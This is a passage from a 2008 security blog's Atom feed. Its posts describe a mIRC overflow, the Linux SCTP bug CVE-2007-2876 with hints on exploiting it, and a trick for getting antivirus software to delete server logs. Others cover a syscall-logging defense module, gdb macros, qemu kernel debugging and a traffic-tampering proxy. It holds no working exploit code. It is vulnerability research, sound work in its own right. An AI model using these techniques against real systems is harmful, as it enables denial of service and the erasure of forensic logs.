src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1425311912254849110</id><published>2008-12-01T13:29:00.007+01:00</published><updated>2008-12-01T13:55:33.681+01:00</updated><title type='text'>Ksec - my Linux Defense System</title><content type='html'>Kernel viruses/rootkits are dificult to detect, but admins change the kernel frequently and the attacker loose the rootkit.&lt;br /&gt;&lt;br /&gt;People infect user-space, and pre-root attacks are also in user-space, then a system to log user-space dangerous activities will be very useful.&lt;br /&gt;&lt;br /&gt;A year ago I coded a defense system that is now public. &lt;br /&gt;Is simple but useful, I hook open, socketcall, execve and unlink, for example if your "ls" is connecting to internet you will see:&lt;br /&gt;&lt;br /&gt;Dec  1 13:44:51 hostname kernel: ls CONNECT(80.33.158.80:1337 fam:2)&lt;br /&gt;&lt;br /&gt;If your ls Opening for writting:&lt;br /&gt;&lt;br /&gt;Dec  1 13:44:25 pwn3d kernel: ls  OPEN(/dev/.shm/.sniff w)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.badchecksum.net/code/defense/ksec-1.1.tar.bz2"&gt;try the Defense System here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1425311912254849110?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1425311912254849110/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1425311912254849110' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1425311912254849110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1425311912254849110'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/12/ksec-my-linux-defense-system.html' title='Ksec - my Linux Defense System'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-8649767992917782182</id><published>2008-10-03T15:47:00.007+02:00</published><updated>2008-10-03T20:31:38.619+02:00</updated><title type='text'>Mirc 6.34(last)  Remote Overflow</title><content type='html'>When a PRIVMSG arrives, the vulnerable function is called to copy the nickname to a buffer:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_YDjJDsk93g0/SOYjY6v4EqI/AAAAAAAAAEA/vBjBk1ix7rQ/s1600-h/bug3.PNG"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_YDjJDsk93g0/SOYjY6v4EqI/AAAAAAAAAEA/vBjBk1ix7rQ/s320/bug3.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5252924926368158370" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;let's see the pseudocode of the call:  (dest, bytes to copy, src)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_YDjJDsk93g0/SOYjcavce0I/AAAAAAAAAEI/UGpmiZFxse0/s1600-h/bug2.PNG"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_YDjJDsk93g0/SOYjcavce0I/AAAAAAAAAEI/UGpmiZFxse0/s320/bug2.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5252924986495892290" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let's see the vulnerable memory zero fill:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_YDjJDsk93g0/SOYjUgU-xqI/AAAAAAAAAD4/G4vRkw851fE/s1600-h/bug.PNG"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_YDjJDsk93g0/SOYjUgU-xqI/AAAAAAAAAD4/G4vRkw851fE/s320/bug.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5252924850556552866" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;ESI is the "bytes to copy", we dont jump becouse is greatter than 10, and then ...&lt;br /&gt;the first rep start to copy 0x00 at [edi++]  ecx times (309 times) then we write in other vars and out of the page.&lt;br /&gt;&lt;br /&gt;Explotation vector: the nick, well, you must be the server becouse servers dont allow  large nicknames. (a privmsg with a 315 bytes nick -&gt; DoS)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-8649767992917782182?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/8649767992917782182/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=8649767992917782182' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8649767992917782182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8649767992917782182'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/10/mirc-634last-remote-overflow.html' title='Mirc 6.34(last)  Remote Overflow'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_YDjJDsk93g0/SOYjY6v4EqI/AAAAAAAAAEA/vBjBk1ix7rQ/s72-c/bug3.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-3685246156510997691</id><published>2008-07-15T12:26:00.002+02:00</published><updated>2008-07-15T12:46:35.284+02:00</updated><title type='text'>gdb seek macros</title><content type='html'>I have coded some basic but useful gdb macros for searching strings and addresses.&lt;br /&gt;&lt;br /&gt;get it here:&lt;a href="http://jolmos.tetrabrick.net/.gdbinit"&gt;my .gdbinit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here is a bzip2 compressed mpeg video: &lt;a href="http://jolmos.tetrabrick.net/gdbRefsMacros.mpeg.bz2"&gt;demo&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;with this macros, $base in your gdb by default is 0x08048000&lt;br /&gt;&lt;br /&gt;(gdb) gob     --&gt;  execute step by step until get in a 0x0804**** addr (or other $base) &lt;br /&gt;&lt;br /&gt;(gdb) seek $base "hello"    --&gt; seek hello from $base to $base+0xffff&lt;br /&gt;$1 = "found:"&lt;br /&gt;$2 = 0x8048480&lt;br /&gt;$3 = "found:"&lt;br /&gt;$4 = 0x8049480&lt;br /&gt;$5 = "found:"&lt;br /&gt;$6 = 0x804a008&lt;br /&gt;^C&lt;br /&gt;&lt;br /&gt;(gdb) seekRef $base 0x8048480  --&gt; Seek addreses who point to 0x8048386 address &lt;br /&gt;                               --&gt; in this case ptrs that point to "hello" address&lt;br /&gt;$7 = "found"&lt;br /&gt;$8 = 0x80485a0&lt;br /&gt;$9 = "found"&lt;br /&gt;$10 = 0x80495a0&lt;br /&gt;^C&lt;br /&gt;&lt;br /&gt;(gdb) seekRef $base 0x80485a0 --&gt; let's&lt;br /&gt;(gdb) seekRef $base 0x80495a0&lt;br /&gt;$11 = "found"&lt;br /&gt;$12 = 0x8048386&lt;br /&gt;$13 = "found"&lt;br /&gt;$14 = 0x8049386&lt;br /&gt;^C&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTE: the macros can be stoped with ^C, they don't stop at first occurrence.&lt;br /&gt;TODO: Identify sections (by now can be done manually with (gdb)main info sect)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-3685246156510997691?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/3685246156510997691/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=3685246156510997691' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/3685246156510997691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/3685246156510997691'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/07/gdb-seek-macros.html' title='gdb seek macros'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-9212786663291721539</id><published>2008-06-25T15:08:00.005+02:00</published><updated>2008-06-26T12:19:15.692+02:00</updated><title type='text'>Erasing or Blocking logs remotelly</title><content type='html'>Monday I dreamt some new web-hacking techniques, now I only remember one:&lt;br /&gt;&lt;br /&gt;If you write in the url an eicar, loveletter or any virus fingerprint, the antivirus blocks or deletes the log files, or also the logfile can be sended to the AV company if you write a suspicious pattern.&lt;br /&gt;&lt;br /&gt;ex: http://web.com/index.php?&amp;lt;virus pattern&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What about inserting in BD this patterns? If you register in a web, and submit the pattern in de BD, maybe some BD files will be blocked or deleted by the antivirus.&lt;br /&gt;&lt;br /&gt;This also can be a vector to exploit some local AV flaws.&lt;br /&gt;&lt;br /&gt;NOTE: only Panda detects eicars that are not at the beginning of the file, must use other patterns.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-9212786663291721539?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/9212786663291721539/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=9212786663291721539' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/9212786663291721539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/9212786663291721539'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/06/erasing-or-blocking-logs-remotelly.html' title='Erasing or Blocking logs remotelly'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-763232325939933536</id><published>2008-06-16T15:52:00.005+02:00</published><updated>2008-06-17T10:14:03.595+02:00</updated><title type='text'>Linux remote null pointer derreference (CVE-2007-2876)</title><content type='html'>The linux netfilter connection tracking new_state() function has a vulnerability exploitable remotelly.&lt;br /&gt;&lt;br /&gt;sctp_new();&lt;br /&gt;&lt;br /&gt;newconntrack = new_state(IP_CT_DIR_ORIGINAL, SCTP_CONNTRACK_NONE, sch-&gt;type);&lt;br /&gt;if (newconntrack == SCTP_CONNTRACK_MAX) {&lt;br /&gt;     pr_debug("nf_conntrack_sctp: invalid new deleting.\n");&lt;br /&gt;     return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Max is not allowed, conntrack_none shouldn't be allowed too.&lt;br /&gt;&lt;br /&gt;conntrack-&gt;proto.sctp.state = newconntrack;&lt;br /&gt;&lt;br /&gt;State will be zero.&lt;br /&gt;&lt;br /&gt;sctp_packet() for returning the veredict of the packet, take the state 0:&lt;br /&gt;&lt;br /&gt;oldsctpstate = conntrack-&gt;proto.sctp.state;&lt;br /&gt;newconntrack = new_state(CTINFO2DIR(ctinfo), oldsctpstate, sch-&gt;type);&lt;br /&gt;&lt;br /&gt;And then give a null ptr:&lt;br /&gt;nf_ct_refresh_acct(conntrack, ctinfo, skb, *sctp_timeouts[newconntrack]);&lt;br /&gt;&lt;br /&gt;becouse sctp_timeouts[SCTP_CONNTRACK_NONE ] is null, it has not a callback:&lt;br /&gt;&lt;br /&gt;static unsigned int * sctp_timeouts[]&lt;br /&gt; = { NULL,                                  /* SCTP_CONNTRACK_NONE  */&lt;br /&gt;     &amp;nf_ct_sctp_timeout_closed,            /* SCTP_CONNTRACK_CLOSED */&lt;br /&gt;     &amp;nf_ct_sctp_timeout_cookie_wait,       /* SCTP_CONNTRACK_COOKIE_WAIT */&lt;br /&gt;     &amp;nf_ct_sctp_timeout_cookie_echoed,     /* SCTP_CONNTRACK_COOKIE_ECHOED */&lt;br /&gt;     &amp;nf_ct_sctp_timeout_established,       /* SCTP_CONNTRACK_ESTABLISHED */&lt;br /&gt;     &amp;nf_ct_sctp_timeout_shutdown_sent,     /* SCTP_CONNTRACK_SHUTDOWN_SENT */&lt;br /&gt;     &amp;nf_ct_sctp_timeout_shutdown_recd,     /* SCTP_CONNTRACK_SHUTDOWN_RECD */&lt;br /&gt;     &amp;nf_ct_sctp_timeout_shutdown_ack_sent  /* SCTP_CONNTRACK_SHUTDOWN_ACK_SENT */&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To exploit this you have to create:&lt;br /&gt;socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)&lt;br /&gt;and set the sockopt SCTP_STATUS to zero.&lt;br /&gt;&lt;br /&gt;Becouse of this option is read only, you will need to construct the raw sctp packet :)&lt;br /&gt;&lt;br /&gt;The victym must have a SCTP service, and the oops probably doensnt crash the system.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-763232325939933536?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/763232325939933536/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=763232325939933536' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/763232325939933536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/763232325939933536'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/06/linux-remote-null-pointer-derreference.html' title='Linux remote null pointer derreference (CVE-2007-2876)'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-6643108621571712463</id><published>2008-06-08T23:55:00.005+02:00</published><updated>2008-06-09T00:29:20.881+02:00</updated><title type='text'>kernel hacking</title><content type='html'>[will be translated]&lt;br /&gt;He no he probado todos los kernel debuggers para linux, pero lo mas decente que he encontrado para representar las estructuras es ddd conectado por tap0 al qemu en modo -s.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Bajar fuentes del kernel a depurar &lt;br /&gt;&lt;br /&gt;En el kernel activaremos la compatibilidad .config&lt;br /&gt;Como que depuraremos ese kernel bajo qemu, podemos tener todas las opciones de debug activadas, princincipalmente estas. &lt;br /&gt;&lt;br /&gt;.config&lt;br /&gt;CONFIG_DEBUG_KERNEL=y&lt;br /&gt;CONFIG_DEBUG_BUGVERBOSE=y&lt;br /&gt;CONFIG_DEBUG_INFO=y&lt;br /&gt;CONFIG_DEBUG_STACKOVERFLOW=y&lt;br /&gt;CONFIG_DEBUG_PAGEALLOC=y&lt;br /&gt;&lt;br /&gt;compilaremos con make&lt;br /&gt;&lt;br /&gt;2. Necesitamos generar un image.img con dd, formateamos (por ej ext2) y creamos un subsitema linux por ej con un debian debootstrap :)&lt;br /&gt;&lt;br /&gt;la montamos:&lt;br /&gt; modprobe loop  &lt;br /&gt; mount image.img img/ -o loop &lt;br /&gt;&lt;br /&gt;si no carga el driver loop fijo k lo tienes, buscalo ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. qemu&lt;br /&gt;&lt;br /&gt;Tenemos la imagen de disco image.img, el kernel comprimido bzImage y sin comprimir vmlinux&lt;br /&gt;Botamos qemu con la imagen de disco y el bzImage&lt;br /&gt;&lt;br /&gt;qemu -boot c -kernel linux-2.6.*.*/arch/i386/boot/bzImage -hda ./image.img -append "root=/dev/hda clock=pit" -s&lt;br /&gt;&lt;br /&gt;el -s es el modo kernel debug por el puerto 1234&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. ddd o gdb&lt;br /&gt;&lt;br /&gt;ddd tiene la ventaja que podremos dibujar las estructuras.&lt;br /&gt;&lt;br /&gt;Arrancamos el ddd con el vmlinux recien compilado. (no sirve bzImage)&lt;br /&gt;ddd vmlinux&lt;br /&gt;&lt;br /&gt;(gdb) target remote localhost:1234&lt;br /&gt;&lt;br /&gt;vamos a chequearlo:&lt;br /&gt;(gdb) b sys_open&lt;br /&gt;(gdb) c&lt;br /&gt;&lt;br /&gt;probamos por ej un simple ls que invocara la syscall open&lt;br /&gt;&lt;br /&gt;Ahora con el ddd podremos displayar cualquier estructura por ej:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_YDjJDsk93g0/SExcgQtQrDI/AAAAAAAAADw/_ICCnowQ05Y/s1600-h/dddQemuKernelDebug.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_YDjJDsk93g0/SExcgQtQrDI/AAAAAAAAADw/_ICCnowQ05Y/s320/dddQemuKernelDebug.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5209640578271194162" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href='http://sha0.wikispaces.com/'&gt;kernel developer sha0wiki&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-6643108621571712463?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/6643108621571712463/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=6643108621571712463' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6643108621571712463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6643108621571712463'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/06/kernel-hacking.html' title='kernel hacking'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_YDjJDsk93g0/SExcgQtQrDI/AAAAAAAAADw/_ICCnowQ05Y/s72-c/dddQemuKernelDebug.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1217620002599756537</id><published>2008-05-30T15:26:00.010+02:00</published><updated>2008-05-30T16:34:58.887+02:00</updated><title type='text'>sha0proxy v1 released</title><content type='html'>I have implemented new features to my multiprotocol proxy, you can get it from:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://badchecksum.net/code/network/sha0proxy.pl"&gt;sha0proxy.pl&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_YDjJDsk93g0/SEAPsPSfy0I/AAAAAAAAADo/xinZzqRuBqA/s1600-h/sha0proxy.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_YDjJDsk93g0/SEAPsPSfy0I/AAAAAAAAADo/xinZzqRuBqA/s320/sha0proxy.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5206178421933067074" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Imagine you want to see and interact with the communication between a client and server, with sha0proxy you can take control or automate replacements.&lt;br /&gt;&lt;br /&gt;By now only TCP is available.&lt;br /&gt;&lt;br /&gt;Samples:&lt;br /&gt;&lt;br /&gt;1. I want to see the communication&lt;br /&gt;&lt;br /&gt;./sha0proxy.pl 445 fileserver 445 view&lt;br /&gt;./smbclient -L 127.0.0.1&lt;br /&gt;&lt;br /&gt;I will see the number of current packet &lt;br /&gt;If the client send to server: &gt;&gt;&gt;&gt;&gt;&lt;br /&gt;If the server send to client: &lt;&lt;&lt;&lt;&lt;&lt;br /&gt;And colorized data:&lt;br /&gt;&lt;font size=1 face=verdana&gt;&lt;br /&gt;1&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 be ff 53 4d 42 72 00 00 00 00 08 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 21 ..............A!&lt;br /&gt;020|00 00 01 00 00 9b 00 02 50 43 20 4e 45 54 57 4f ........PC NETWO&lt;br /&gt;030|52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 RK PROGRAM 1.0..&lt;br /&gt;040|4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 MICROSOFT NETWOR&lt;br /&gt;050|4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f KS 1.03..MICROSO&lt;br /&gt;060|46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 FT NETWORKS 3.0.&lt;br /&gt;070|02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e .LANMAN1.0..LM1.&lt;br /&gt;080|32 58 30 30 32 00 02 44 4f 53 20 4c 41 4e 4d 41 2X002..DOS LANMA&lt;br /&gt;090|4e 32 2e 31 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 N2.1..LANMAN2.1.&lt;br /&gt;0a0|02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 .Samba..NT LANMA&lt;br /&gt;0b0|4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 N 1.0..NT LM 0.1&lt;br /&gt;0c0|32 00                                           2.&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;2. I wish to interfere in trafic flow at runtime&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;./sha0proxy.pl 445 filserver 445 trap&lt;br /&gt;./smbclient -L 127.0.0.1&lt;br /&gt;&lt;br /&gt;&lt;font size=1 face=verdana&gt;&lt;br /&gt;1&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 be ff 53 4d 42 72 00 00 00 00 08 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 24 ...............$&lt;br /&gt;020|00 00 01 00 00 9b 00 02 50 43 20 4e 45 54 57 4f ........PC NETWO&lt;br /&gt;030|52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 RK PROGRAM 1.0..&lt;br /&gt;040|4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 MICROSOFT NETWOR&lt;br /&gt;050|4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f KS 1.03..MICROSO&lt;br /&gt;060|46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 FT NETWORKS 3.0.&lt;br /&gt;070|02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e .LANMAN1.0..LM1.&lt;br /&gt;080|32 58 30 30 32 00 02 44 4f 53 20 4c 41 4e 4d 41 2X002..DOS LANMA&lt;br /&gt;090|4e 32 2e 31 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 N2.1..LANMAN2.1.&lt;br /&gt;0a0|02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 .Samba..NT LANMA&lt;br /&gt;0b0|4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 N 1.0..NT LM 0.1&lt;br /&gt;0c0|32 00                                           2.&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;where&gt;&lt;br /&gt;what&gt;&lt;br /&gt;&lt;br /&gt;I have pressed enter enter, don't want to change anything.&lt;br /&gt;&lt;font size=1 face=verdana&gt;&lt;br /&gt;2&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 b6 ff 53 4d 42 72 00 00 00 00 88 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 24 ...............$&lt;br /&gt;020|00 00 01 00 11 09 00 07 32 00 01 00 04 41 00 00 ........2....A..&lt;br /&gt;030|00 00 01 00 00 00 00 00 fd f3 01 80 ae a3 02 87 ................&lt;br /&gt;040|5b c2 c8 01 88 ff 00 71 00 88 c2 e4 e7 1d a3 83 [......q........&lt;br /&gt;050|47 91 34 83 bf b4 7d ce b5 60 5f 06 06 2b 06 01 G.4...}..`_..+..&lt;br /&gt;060|05 05 02 a0 55 30 53 a0 30 30 2e 06 09 2a 86 48 ....U0S.00...*.H&lt;br /&gt;070|82 f7 12 01 02 02 06 09 2a 86 48 86 f7 12 01 02 ........*.H.....&lt;br /&gt;080|02 06 0a 2a 86 48 86 f7 12 01 02 02 03 06 0a 2b ...*.H.........+&lt;br /&gt;090|06 01 04 01 82 37 02 02 0a a3 1f 30 1d a0 1b 1b .....7.....0....&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;where&gt;07a&lt;br /&gt;what&gt;AAAAA\x00&lt;br /&gt;&lt;font size=1 face=verdana&gt;&lt;br /&gt;2&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 b6 ff 53 4d 42 72 00 00 00 00 88 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 24 ...............$&lt;br /&gt;020|00 00 01 00 11 09 00 07 32 00 01 00 04 41 00 00 ........2....A..&lt;br /&gt;030|00 00 01 00 00 00 00 00 fd f3 01 80 ae a3 02 87 ................&lt;br /&gt;040|5b c2 c8 01 88 ff 00 71 00 88 c2 e4 e7 1d a3 83 [......q........&lt;br /&gt;050|47 91 34 83 bf b4 7d ce b5 60 5f 06 06 2b 06 01 G.4...}..`_..+..&lt;br /&gt;060|05 05 02 a0 55 30 53 a0 30 30 2e 06 09 2a 86 48 ....U0S.00...*.H&lt;br /&gt;070|82 f7 12 01 02 02 06 09 2a 86 41 41 41 41 41 00 ........*.AAAAA.&lt;br /&gt;080|02 06 0a 2a 86 48 86 f7 12 01 02 02 03 06 0a 2b ...*.H.........+&lt;br /&gt;090|06 01 04 01 82 37 02 02 0a a3 1f 30 1d a0 1b 1b .....7.....0....&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;I have writed at 0x0a1 the AAAAA\x00 value 